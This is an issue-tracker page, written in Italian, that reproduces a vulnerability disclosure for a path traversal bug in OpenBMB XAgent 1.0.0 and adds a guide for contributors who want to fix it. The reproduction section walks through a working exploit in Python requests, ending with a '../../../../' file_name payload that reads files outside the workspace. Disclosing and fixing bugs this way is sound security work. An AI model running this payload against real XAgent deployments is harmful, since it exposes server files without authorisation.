Vulnerability report: OpenBMB XAgent 1.0.0 Path Traversal
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 4/5
- Tempo stimato
- 3-5 giorni
- Idoneità per principianti
- 45/100
Direzione di ricerca
Inizia da XAgent/XAgentServer/application/routers/workspace.py e dalla riproduzione di POST /workspace/file. Traccia come file_name controllato dall’utente diventa un percorso, quindi verifica il comportamento usando le requests fornite. Il lavoro è completato quando un input di traversal non può leggere file al di fuori del workspace previsto, mentre il normale accesso ai file continua a funzionare.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
Vulnerability report: OpenBMB XAgent 1.0.0 Path Traversal
Vulnerability summary
XAgent is vulnerable to path traversal vulnerability in file() function in XAgent/XAgentServer/application/routers/workspace.py. The input parameter “file_name” is user-controllable and is concatenated into the file path to be read without proper validation, leading to a directory traversal vulnerability that may result in sensitive information disclosure.
Affected product
Vendor: OpenBMB
Product: XAgent
Version: 1.0.0
Vulnerability component: XAgent/XAgentServer/application/routers/workspace.py
Vulnerability detail
Vulnerability type: Path Traversal
Attack type: Remote
Impact: Information Disclosure
Vulnerability Reproduction
- After launching XAgent, we first create a user
import requests
url = 'http://localhost:8090'
user = {
"email": "[email protected]",
"name": "user",
"corporation": "xx",
"position": "xx",
"industry": "xx"
}
req = requests.post(url=f'{url}/user/register', data=user)
print(req.text)
'''
{"data":{"user_id":"c929cb68852547d9aa4f26ca453c38ad","email":"[email protected]","name":"user","token":"92fd4b90149a4ff9877e33a788a4cf74","available":true,"corporation":"xx","position":"xx","industry":"xx","create_time":"2026-01-21 15:21:05","update_time":"2026-01-21 15:21:05","is_beta":false},"success":true,"message":"Register success, we will send a email to you!"}
'''
- create an interaction
data = {
"user_id": "c929cb68852547d9aa4f26ca453c38ad",
"token": "92fd4b90149a4ff9877e33a788a4cf74"
}
req = requests.post(url=f'{url}/conv/init_conv_env', data=data)
print(req.text)
'''
{"data":{"id":"8005eb45f8724b4d8b4914e9c9460654","t":"1769008962493"},"success":true,"message":"success"}
'''
- call routers/conv/community api
import json
interaction = {
"interaction_id": "8005eb45f8724b4d8b4914e9c9460654",
"create_time": "2026-01-21"
}
raws = [
{
"status": "finished"
}
]
data = {
"user_id": "c929cb68852547d9aa4f26ca453c38ad",
"token": "92fd4b90149a4ff9877e33a788a4cf74",
"user_name": "user",
"interaction": json.dumps(interaction),
"raws": json.dumps(raws)
}
files = {
'files': open('./test.js', 'rb')
}
req = requests.post(url=f'{url}/conv/community', data=data, files=files)
- call routers/workspace/file api
data = {
"user_id": "c929cb68852547d9aa4f26ca453c38ad",
"token": "92fd4b90149a4ff9877e33a788a4cf74",
"interaction_id": "8005eb45f8724b4d8b4914e9c9460654",
"file_name": "../../../../../../../example.txt" # malicious input
}
req = requests.post(url=f'{url}/workspace/file', data=data)
print(req.text)
'''
{"data":"path traversal!\n","success":true,"message":"get file success!"}
'''
After constructing malicious input(file_name), we can trigger the vulnerability and access any sensitive information.
- Lingua principale
- Python
- Stelle
- 8.5k
- Fork
- 905
- Metriche di merge delle PR
- Nessuna PR unita negli ultimi 30g
Preparare l'ambiente
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di OpenBMB/XAgent
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 35/100
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 15/100
-
bug
Difficoltà 3/5 1-2 giorni Idoneità per principianti 72/100
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 5/100
-
Difficoltà 5/5 Più di una settimana Idoneità per principianti 25/100
Tutte le issue di OpenBMB/XAgent
Issue simili
-
customer-reported
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
Azure/azure-cli#34150 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
community-request
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 95/100
NVIDIA-NeMo/Curator#2464 · 1 commento ·
I maintainer di solito rispondono entro 1 giorno
-
weblate-discover crashes with an unhandled FileNotFoundError when the directory does not existAperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 88/100
WeblateOrg/translation-finder#1099 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 68/100
trezor/trezor-firmware#7997 ·
I maintainer di solito rispondono entro 2 giorni
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 88/100
I maintainer di solito rispondono entro 1 giorno